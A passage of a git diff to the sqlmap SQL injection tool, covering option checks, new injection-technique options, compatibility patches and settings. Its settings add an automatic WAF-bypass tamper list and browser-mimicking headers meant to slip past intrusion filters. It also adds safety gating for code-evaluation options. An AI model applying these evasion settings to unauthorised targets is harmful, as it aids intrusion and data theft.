+ _http_client.HTTPConnection._http_vsn = 10 + _http_client.HTTPConnection._http_vsn_str = 'HTTP/1.0' def _checkTor(): if not conf.checkTor: @@ -2534,11 +2711,12 @@ def _checkTor(): logger.info(infoMsg) try: - page, _, _ = Request.getPage(url="https://check.torproject.org/", raise404=False) - except SqlmapConnectionException: - page = None + page, _, _ = Request.getPage(url="https://check.torproject.org/api/ip", raise404=False) + tor_status = json.loads(page) + except (SqlmapConnectionException, TypeError, ValueError): + tor_status = None - if not page or "Congratulations" not in page: + if not tor_status or not tor_status.get("IsTor"): errMsg = "it appears that Tor is not properly set. Please try using options '--tor-type' and/or '--tor-port'" raise SqlmapConnectionException(errMsg) else: @@ -2581,6 +2759,14 @@ def _basicOptionValidation(): errMsg = "switch '--text-only' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) + if conf.http2 and any((conf.tor, conf.proxy and conf.proxy.lower().startswith("socks"))): + errMsg = "HTTP/2 support is currently incompatible with SOCKS/Tor proxies" + raise SqlmapSyntaxException(errMsg) + + if conf.uValues and conf.uChar: + errMsg = "option '--union-values' is incompatible with option '--union-char'" + raise SqlmapSyntaxException(errMsg) + if conf.base64Parameter and conf.tamper: errMsg = "option '--base64' is incompatible with option '--tamper'" raise SqlmapSyntaxException(errMsg) @@ -2609,8 +2795,22 @@ def _basicOptionValidation(): errMsg = "switch '--dump' is incompatible with switch '--search'" raise SqlmapSyntaxException(errMsg) - if conf.chunked and not any((conf.data, conf.requestFile, conf.forms)): - errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r' or '--forms'" + if conf.alert and os.environ.get("SQLMAP_UNSAFE_ALERT") != '1': + errMsg = "for security reasons, to prevent execution of potentially malicious " + errMsg += "OS commands via configuration files or copy-paste attacks, " + errMsg += "the '--alert' option requires the environment variable " + errMsg += "'SQLMAP_UNSAFE_ALERT=1' to be explicitly set" + raise SqlmapSystemException(errMsg) + + if conf.evalCode and os.environ.get("SQLMAP_UNSAFE_EVAL") != '1': + errMsg = "for security reasons, to prevent execution of potentially malicious " + errMsg += "Python code via configuration files or copy-paste attacks, " + errMsg += "the '--eval' option requires the environment variable " + errMsg += "'SQLMAP_UNSAFE_EVAL=1' to be explicitly set" + raise SqlmapSystemException(errMsg) + + if conf.chunked and not any((conf.data, conf.requestFile, conf.forms, conf.openApiFile)): + errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r', '--forms' or '--openapi'" raise SqlmapSyntaxException(errMsg) if conf.api and not conf.configFile: @@ -2688,7 +2888,6 @@ def _basicOptionValidation(): warnMsg += "option '--retry-on' was provided" logger.warning(warnMsg) - if conf.cookieDel and len(conf.cookieDel) != 1: errMsg = "option '--cookie-del' should contain a single character (e.g. ';')" raise SqlmapSyntaxException(errMsg) @@ -2711,10 +2910,6 @@ def _basicOptionValidation(): errMsg = "switch '--dump' is incompatible with switch '--dump-all'" raise SqlmapSyntaxException(errMsg) - if conf.predictOutput and (conf.threads > 1 or conf.optimize): - errMsg = "switch '--predict-output' is incompatible with option '--threads' and switch '-o'" - raise SqlmapSyntaxException(errMsg) - if conf.threads > MAX_NUMBER_OF_THREADS and not conf.get("skipThreadCheck"): errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS raise SqlmapSyntaxException(errMsg) @@ -2752,7 +2947,7 @@ def _basicOptionValidation(): raise SqlmapSyntaxException(errMsg) if conf.csrfToken and conf.threads > 1: - errMsg = "option '--csrf-url' is incompatible with option '--threads'" + errMsg = "option '--csrf-token' is incompatible with option '--threads'" raise SqlmapSyntaxException(errMsg) if conf.requestFile and conf.url and conf.url != DUMMY_URL: @@ -2803,6 +2998,11 @@ def _basicOptionValidation(): errMsg = "option '--dump-format' accepts one of following values: %s" % ", ".join(getPublicTypeMembers(DUMP_FORMAT, True)) raise SqlmapSyntaxException(errMsg) + if conf.uValues and (not re.search(r"\A['\w\s.,()%s-]+\Z" % CUSTOM_INJECTION_MARK_CHAR, conf.uValues) or conf.uValues.count(CUSTOM_INJECTION_MARK_CHAR) != 1): + errMsg = "option '--union-values' must contain valid UNION column values, along with the injection position " + errMsg += "(e.g. 'NULL,1,%s,NULL')" % CUSTOM_INJECTION_MARK_CHAR + raise SqlmapSyntaxException(errMsg) + if conf.skip and conf.testParameter: if intersect(conf.skip, conf.testParameter): errMsg = "option '--skip' is incompatible with option '-p'" @@ -2829,10 +3029,6 @@ def _basicOptionValidation(): errMsg = "value for option '--time-sec' must be a positive integer" raise SqlmapSyntaxException(errMsg) - if conf.uChar and not re.match(UNION_CHAR_REGEX, conf.uChar): - errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)" - raise SqlmapSyntaxException(errMsg) - if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)): errMsg = "option '--crack' should be used as a standalone" raise SqlmapSyntaxException(errMsg) @@ -2899,12 +3095,11 @@ def init(): _setPostprocessFunctions() _setTrafficOutputFP() _setupHTTPCollector() - _setHttpChunked() - _checkWebSocket() + _setHttpOptions() parseTargetDirect() - if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)): + if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe, conf.openApiFile)): _setHostname() _setHTTPTimeout() _setHTTPExtraHeaders() @@ -2920,6 +3115,7 @@ def init(): _doSearch() _setStdinPipeTargets() _setBulkMultipleTargets() + _setOpenApiTargets() _checkTor() _setCrawler() _findPageForms() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 761ee99558b..504182e22d7 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -19,6 +19,9 @@ "sessionFile": "string", "googleDork": "string", "configFile": "string", + "openApiFile": "string", + "openApiBase": "string", + "openApiTags": "string", }, "Request": { @@ -30,6 +33,7 @@ "liveCookies": "string", "loadCookies": "string", "dropSetCookie": "boolean", + "http2": "boolean", "agent": "string", "mobile": "boolean", "randomAgent": "boolean", @@ -62,6 +66,7 @@ "safeReqFile": "string", "safeFreq": "integer", "skipUrlEncode": "boolean", + "skipXmlEncode": "boolean", "csrfToken": "string", "csrfUrl": "string", "csrfMethod": "string", @@ -75,8 +80,8 @@ "Optimization": { "optimize": "boolean", - "predictOutput": "boolean", "keepAlive": "boolean", + "noKeepAlive": "boolean", "nullConnection": "boolean", "threads": "integer", }, @@ -98,6 +103,7 @@ "prefix": "string", "suffix": "string", "tamper": "string", + "proof": "boolean", }, "Detection": { @@ -114,10 +120,21 @@ "Techniques": { "technique": "string", + "nosql": "boolean", + "graphql": "boolean", + "ldap": "boolean", + "xpath": "boolean", + "ssti": "boolean", + "xxe": "boolean", + "hql": "boolean", + "oobServer": "string", + "oobToken": "string", "timeSec": "integer", + "timeless": "boolean", "uCols": "string", "uChar": "string", "uFrom": "string", + "uValues": "string", "dnsDomain": "string", "secondUrl": "string", "secondReq": "string", @@ -148,6 +165,7 @@ "search": "boolean", "getComments": "boolean", "getStatements": "boolean", + "getProcs": "boolean", "db": "string", "tbl": "string", "col": "string", @@ -232,12 +250,15 @@ "postprocess": "string", "preprocess": "string", "repair": "boolean", + "reportJson": "string", "saveConfig": "string", "scope": "string", "skipHeuristics": "boolean", "skipWaf": "boolean", "testFilter": "string", "testSkip": "string", + "timeLimit": "float", + "unsafeNaming": "boolean", "webRoot": "string", }, @@ -246,8 +267,10 @@ "beep": "boolean", "dependencies": "boolean", "disableColoring": "boolean", + "disableHashing": "boolean", "listTampers": "boolean", "noLogging": "boolean", + "noTruncate": "boolean", "offline": "boolean", "purge": "boolean", "resultsFile": "string", @@ -261,10 +284,14 @@ "Hidden": { "dummy": "boolean", "disablePrecon": "boolean", + "noHuffman": "boolean", "profile": "boolean", "forceDns": "boolean", "murphyRate": "integer", "smokeTest": "boolean", + "fpTest": "boolean", + "payloadLint": "boolean", + "apiTest": "boolean", }, "API": { diff --git a/lib/core/patch.py b/lib/core/patch.py index 18681432519..c7796d0615b 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -1,11 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import codecs +import difflib +import inspect +import logging import os import random import re @@ -35,9 +38,12 @@ from lib.core.enums import PLACE from lib.core.option import _setHTTPHandlers from lib.core.option import setVerbosity +from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA +from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT from lib.core.settings import IS_WIN from lib.request.templates import getPageTemplate from thirdparty import six +from thirdparty.six import unichr as _unichr from thirdparty.six.moves import http_client as _http_client _rand = 0 @@ -64,7 +70,8 @@ def _send_output(self, *args, **kwargs): # add support for inet_pton() on Windows OS if IS_WIN: - from thirdparty.wininetpton import win_inet_pton + from thirdparty.wininetpton.win_inet_pton import inject_into_socket + inject_into_socket() # Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440 codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None) @@ -78,13 +85,13 @@ def _(self, *args): _http_client.LineAndFileWrapper.readline = _ # to prevent too much "guessing" in case of binary data retrieval - thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90 + thirdparty.chardet.universaldetector.UniversalDetector.MINIMUM_THRESHOLD = 0.90 match = re.search(r" --method[= ](\w+)", " ".join(sys.argv)) if match and match.group(1).upper() != PLACE.POST: PLACE.CUSTOM_POST = PLACE.CUSTOM_POST.replace("POST", "%s (body)" % match.group(1)) - # https://github.com/sqlmapproject/sqlmap/issues/4314 + # Reference: https://github.com/sqlmapproject/sqlmap/issues/4314 try: os.urandom(1) except NotImplementedError: @@ -93,6 +100,92 @@ def _(self, *args): else: os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size)) + # Reference: https://github.com/sqlmapproject/sqlmap/issues/5929 + try: + import collections + if not hasattr(collections, "MutableSet"): + import collections.abc + collections.MutableSet = collections.abc.MutableSet + except ImportError: + pass + + # Reference: https://github.com/sqlmapproject/sqlmap/issues/5727 + # Reference: https://stackoverflow.com/a/14076841 + try: + import pymysql + pymysql.install_as_MySQLdb() + except (ImportError, AttributeError): + pass + + # Reference: https://github.com/bottlepy/bottle/blob/df67999584a0e51ec5b691146c7fa4f3c87f5aac/bottle.py + # Reference: https://python.readthedocs.io/en/v2.7.2/library/inspect.html#inspect.getargspec + if not hasattr(inspect, "getargspec") and hasattr(inspect, "getfullargspec"): + ArgSpec = collections.namedtuple("ArgSpec", ("args", "varargs", "keywords", "defaults")) + + def makelist(data): + if isinstance(data, (tuple, list, set, dict)): + return list(data) + elif data: + return [data] + else: + return [] + + def getargspec(func): + spec = inspect.getfullargspec(func) + kwargs = makelist(spec[0]) + makelist(spec.kwonlyargs) + return ArgSpec(kwargs, spec[1], spec[2], spec[3]) + + inspect.getargspec = getargspec + + # Installing "reversible" unicode (decoding) error handler + def _reversible(ex): + if INVALID_UNICODE_PRIVATE_AREA: + return (u"".join(_unichr(int('000f00%02x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end) + else: + return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end) + + codecs.register_error("reversible", _reversible) + + # Reference: https://github.com/sqlmapproject/sqlmap/issues/5731 + if not hasattr(logging, "_acquireLock"): + def _acquireLock(): + if logging._lock: + logging._lock.acquire() + + logging._acquireLock = _acquireLock + + if not hasattr(logging, "_releaseLock"): + def _releaseLock(): + if logging._lock: + logging._lock.release() + + logging._releaseLock = _releaseLock + + from xml.etree import ElementTree as et + if not getattr(et, "_patched", False): + _real_parse = et.parse + + def _safe_parse(source, parser=None): + if parser is None: + parser = et.XMLParser() + if hasattr(parser, "parser"): + def reject(*args): raise ValueError("XML entities are forbidden") + parser.parser.EntityDeclHandler = reject + parser.parser.UnparsedEntityDeclHandler = reject + + return _real_parse(source, parser=parser) + + et.parse = _safe_parse + et._patched = True + + try: + import builtins + except ImportError: + import __builtin__ as builtins + + if "enumerate" in difflib.__dict__ and difflib.enumerate is not builtins.enumerate: + difflib.enumerate = builtins.enumerate + def resolveCrossReferences(): """ Place for cross-reference resolution diff --git a/lib/core/profiling.py b/lib/core/profiling.py index 4fddab24a7e..a5936beadfe 100644 --- a/lib/core/profiling.py +++ b/lib/core/profiling.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py index 0a6c1dd5185..b2980adf70e 100644 --- a/lib/core/readlineng.py +++ b/lib/core/readlineng.py @@ -1,21 +1,27 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ _readline = None try: - from readline import * import readline as _readline except: try: - from pyreadline import * import pyreadline as _readline except: pass +if _readline: + _symbols = getattr(_readline, "__all__", None) + if _symbols is None: + _symbols = (name for name in dir(_readline) if not name.startswith("_")) + + for _symbol in _symbols: + globals()[_symbol] = getattr(_readline, _symbol) + from lib.core.data import logger from lib.core.settings import IS_WIN from lib.core.settings import PLATFORM diff --git a/lib/core/replication.py b/lib/core/replication.py index 236d1ed4463..a2cd5e9a30c 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -23,8 +23,11 @@ class Replication(object): """ def __init__(self, dbpath): + self.dbpath = dbpath + self.connection = None + self.cursor = None + try: - self.dbpath = dbpath self.connection = sqlite3.connect(dbpath) self.connection.isolation_level = None self.cursor = self.connection.cursor() @@ -106,10 +109,12 @@ def select(self, condition=None): """ This function is used for selecting row(s) from current table. """ - _ = 'SELECT * FROM %s' % self.name + query = 'SELECT * FROM "%s"' % self.name if condition: - _ += 'WHERE %s' % condition - return self.execute(_) + query += ' WHERE %s' % condition + + self.execute(query) + return self.parent.cursor.fetchall() def createTable(self, tblname, columns=None, typeless=False): """ @@ -118,8 +123,17 @@ def createTable(self, tblname, columns=None, typeless=False): return Replication.Table(parent=self, name=tblname, columns=columns, typeless=typeless) def __del__(self): - self.cursor.close() - self.connection.close() + try: + if self.cursor is not None: + self.cursor.close() + except Exception: + pass + + try: + if self.connection is not None: + self.connection.close() + except Exception: + pass # sqlite data types NULL = DataType('NULL') diff --git a/lib/core/revision.py b/lib/core/revision.py index 7abd30cd03e..e5e1a1e76f3 100644 --- a/lib/core/revision.py +++ b/lib/core/revision.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -22,43 +22,39 @@ def getRevisionNumber(): retVal = None filePath = None - _ = os.path.dirname(__file__) + directory = os.path.dirname(__file__) while True: - filePath = os.path.join(_, ".git", "HEAD") - if os.path.exists(filePath): + candidate = os.path.join(directory, ".git", "HEAD") + if os.path.exists(candidate): + filePath = candidate break - else: - filePath = None - if _ == os.path.dirname(_): - break - else: - _ = os.path.dirname(_) - while True: - if filePath and os.path.isfile(filePath): - with openFile(filePath, "r") as f: - content = getText(f.read()) - filePath = None + parent = os.path.dirname(directory) + if parent == directory: + break + directory = parent - if content.startswith("ref: "): - try: - filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip() - except UnicodeError: - pass + if filePath: + with openFile(filePath, "r") as f: + content = getText(f.read()).strip() - if filePath is None: - match = re.match(r"(?i)[0-9a-f]{32}", content) - retVal = match.group(0) if match else None - break - else: - break + if content.startswith("ref: "): + ref_path = content.replace("ref: ", "").strip() + filePath = os.path.join(directory, ".git", ref_path) + + if os.path.exists(filePath): + with openFile(filePath, "r") as f_ref: + content = getText(f_ref.read()).strip() + + match = re.match(r"(?i)[0-9a-f]{40}", content) + retVal = match.group(0) if match else None if not retVal: try: - process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + process = subprocess.Popen(["git", "rev-parse", "--verify", "HEAD"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, _ = process.communicate() - match = re.search(r"(?i)[0-9a-f]{32}", getText(stdout or "")) + match = re.search(r"(?i)[0-9a-f]{40}", getText(stdout or "")) retVal = match.group(0) if match else None except: pass diff --git a/lib/core/session.py b/lib/core/session.py index c50d7b03e87..c26e4dc0951 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 54160a19557..fba21d81b44 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -1,12 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import codecs import os +import platform import random import re import string @@ -17,10 +18,9 @@ from lib.core.enums import DBMS_DIRECTORY_NAME from lib.core.enums import OS from thirdparty import six -from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.0" +VERSION = "1.10.7.84" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -54,6 +54,38 @@ # Timeout used in heuristic check for WAF/IPS protected targets IPS_WAF_CHECK_TIMEOUT = 10 +# HTTP status codes a WAF/IPS typically returns when it blocks a request. Used to reject a boolean +# "injection" whose only TRUE/FALSE difference is the always-true payload being blocked (a status-code +# false positive) rather than the back-end actually answering. +WAF_BLOCK_HTTP_CODES = (403, 406, 429, 451, 501, 503) + +# Candidate tamper scripts for automatic WAF-bypass, ordered by empirical WAF-bypass value +# (structural token-substitution first, camouflage last; per identYwaf data). The back-end DBMS +# is not pre-filtered here: semantics-preservation is verified at runtime by re-running detection +# through each candidate, so a DBMS-incompatible script simply fails the trial and is discarded. +WAF_BYPASS_TAMPERS = ( + "equaltolike", + "between", + "greatest", + "charencode", + "randomcase", + "space2comment", + "versionedkeywords", + "space2hash", +) + +# Maximum number of candidate tamper (chains) trialled during automatic WAF-bypass +WAF_BYPASS_MAX_TRIALS = 8 + +# Browser-like request headers applied alongside the random (non-scanner) User-Agent during +# automatic WAF bypass: sqlmap's defaults ('Accept: */*', no 'Accept-Language') are themselves a +# non-browser tell that header/behavioral WAFs key on, so the whole request fingerprint - not just +# the UA - is made to look like a real browser. Kept standard so it cannot skew content negotiation. +WAF_BYPASS_HTTP_HEADERS = ( + ("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"), + ("Accept-Language", "en-US,en;q=0.5"), +) + # Timeout used in checking for existence of live-cookies file LIVE_COOKIES_TIMEOUT = 120 @@ -61,19 +93,22 @@ LOWER_RATIO_BOUND = 0.02 UPPER_RATIO_BOUND = 0.98 +# For filling in case of dumb push updates +DUMMY_JUNK = "Phah5jue" + # Markers for special cases when parameter values contain html encoded characters -PARAMETER_AMP_MARKER = "__AMP__" -PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__" -BOUNDARY_BACKSLASH_MARKER = "__BACKSLASH__" -PARAMETER_PERCENTAGE_MARKER = "__PERCENTAGE__" +PARAMETER_AMP_MARKER = "__PARAMETER_AMP__" +PARAMETER_SEMICOLON_MARKER = "__PARAMETER_SEMICOLON__" +BOUNDARY_BACKSLASH_MARKER = "__BOUNDARY_BACKSLASH__" +PARAMETER_PERCENTAGE_MARKER = "__PARAMETER_PERCENTAGE__" PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__" PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__" -URI_QUESTION_MARKER = "__QUESTION__" +URI_QUESTION_MARKER = "__URI_QUESTION__" ASTERISK_MARKER = "__ASTERISK__" REPLACEMENT_MARKER = "__REPLACEMENT__" BOUNDED_BASE64_MARKER = "__BOUNDED_BASE64__" BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION__" -SAFE_VARIABLE_MARKER = "__SAFE__" +SAFE_VARIABLE_MARKER = "__SAFE_VARIABLE__" SAFE_HEX_MARKER = "__SAFE_HEX__" DOLLAR_MARKER = "__DOLLAR__" @@ -95,17 +130,20 @@ TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)" # Regular expression used for recognition of generic permission messages -PERMISSION_DENIED_REGEX = r"(?P(command|permission|access)\s*(was|is)?\s*denied)" +PERMISSION_DENIED_REGEX = r"\b(?P(command|permission|access|user)\s*(was|is|has been)?\s*(denied|forbidden|unauthorized|rejected|not allowed))" # Regular expression used in recognition of generic protection mechanisms GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b" # Regular expression used to detect errors in fuzz(y) UNION test -FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|comparable|compatible|conversion|converting|failed|error" +FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|mismatch|comparable|compatible|conversion|convert|failed|error|unexpected" # Upper threshold for starting the fuzz(y) UNION test FUZZ_UNION_MAX_COLUMNS = 10 +# Maximum number of probe requests the fuzz(y) UNION test may issue (bounds its otherwise exponential type-combination search when run automatically) +FUZZ_UNION_MAX_REQUESTS = 80 + # Regular expression used for recognition of generic maximum connection messages MAX_CONNECTIONS_REGEX = r"\bmax.{1,100}\bconnection" @@ -119,7 +157,10 @@ PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP", "BaseHTTP") # Identify WAF/IPS inside limited number of responses (Note: for optimization purposes) -IDENTYWAF_PARSE_LIMIT = 10 +IDENTYWAF_PARSE_COUNT_LIMIT = 10 + +# Identify WAF/IPS inside limited size of responses +IDENTYWAF_PARSE_PAGE_LIMIT = 4 * 1024 # Maximum sleep time in "Murphy" (testing) mode MAX_MURPHY_SLEEP_TIME = 3 @@ -137,16 +178,39 @@ BING_REGEX = r'

]+))""" +STRUCTURAL_ID_REGEX = r"""(?si)\bid\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))""" + +# Minimum response size (in bytes) for the 'skip-read' NULL connection method to be used. Unlike +# HEAD/Range, 'skip-read' leaves the body unread and must therefore close the connection (an unread +# body cannot be reused), paying a fresh TCP/TLS handshake per request. That only pays off when +# avoiding the body transfer outweighs the reconnect - i.e. for large responses; for small ones it +# is a net slowdown, so it is gated by this size +NULL_CONNECTION_SKIP_READ_MIN_LENGTH = 256 * 1024 + +# Coarse plausibility band for a NULL connection method's reported length, relative to the known +# original page length (len(kb.originalPage)). A method is accepted only if its length falls within +# it; this rejects a method whose length does not track the real GET response (e.g. HEAD returning +# 'Content-Length: 0', HEAD served from a different code path, or sneaked-in compression). The band +# is deliberately generous (byte-vs-character size and moderate page dynamism are expected, and a +# false reject merely forgoes the optimization, which is safe) - it only catches gross mismatches +NULL_CONNECTION_LENGTH_TOLERANCE_LOW = 0.5 +NULL_CONNECTION_LENGTH_TOLERANCE_HIGH = 4.0 # Regular expression used for recognition of IP addresses IP_ADDRESS_REGEX = r"\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b" # Regular expression used for recognition of generic "your ip has been blocked" messages -BLOCKED_IP_REGEX = r"(?i)(\A|\b)ip\b.*\b(banned|blocked|block list|firewall)" +BLOCKED_IP_REGEX = r"(?i)(\A|\b)ip\b.*\b(banned|blocked|block\s?list|firewall)" # Dumping characters used in GROUP_CONCAT MySQL technique CONCAT_ROW_DELIMITER = ',' @@ -185,11 +249,17 @@ # Maximum number of techniques used in inject.py/getValue() per one value MAX_TECHNIQUES_PER_VALUE = 2 +# Fraction of the currently displayed progress-bar ETA kept when a fresh estimate arrives (eases the on-screen countdown toward the new value instead of snapping); 0 disables smoothing, higher is smoother but laggier +ETA_DISPLAY_SMOOTHING = 0.5 + # In case of missing piece of partial union dump, buffered array must be flushed after certain size MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024 +# Initial number of rows aggregated per request when a full (single-shot) JSON-agg UNION dump is too large and falls back to chunked windowed aggregation (halved adaptively if a chunk response still gets truncated) +JSON_AGG_CHUNK_ROWS = 1000 + # Maximum size of cache used in @cachedmethod decorator -MAX_CACHE_ITEMS = 256 +MAX_CACHE_ITEMS = 1024 # Suffix used for naming meta databases in DBMS(es) without explicit database name METADB_SUFFIX = "_masterdb" @@ -257,22 +327,23 @@ PLATFORM = os.name PYVERSION = sys.version.split()[0] IS_WIN = PLATFORM == "nt" +IS_PYPY = platform.python_implementation() == "PyPy" # Check if running in terminal IS_TTY = hasattr(sys.stdout, "fileno") and os.isatty(sys.stdout.fileno()) # DBMS system databases -MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB") -MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys") -PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent") +MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB", "distribution", "mssqlsystemresource") +MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys", "ndbinfo") +PGSQL_SYSTEM_DBS = ("postgres", "template0", "template1", "information_schema", "pg_catalog", "pg_toast", "pgagent") ORACLE_SYSTEM_DBS = ("ADAMS", "ANONYMOUS", "APEX_030200", "APEX_PUBLIC_USER", "APPQOSSYS", "AURORA$ORB$UNAUTHENTICATED", "AWR_STAGE", "BI", "BLAKE", "CLARK", "CSMIG", "CTXSYS", "DBSNMP", "DEMO", "DIP", "DMSYS", "DSSYS", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "HR", "IX", "JONES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OC", "OE", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "PAPER", "PERFSTAT", "PM", "SCOTT", "SH", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "TRACESVR", "TSMSYS", "WK_TEST", "WKPROXY", "WKSYS", "WMSYS", "XDB", "XS$NULL") SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master") -ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2") +ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2", "MSysNavPaneGroupCategories", "MSysNavPaneGroups", "MSysNavPaneGroupToObjects", "MSysNavPaneObjectIDs") FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS") MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN") -SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs") -DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS") -HSQLDB_SYSTEM_DBS = 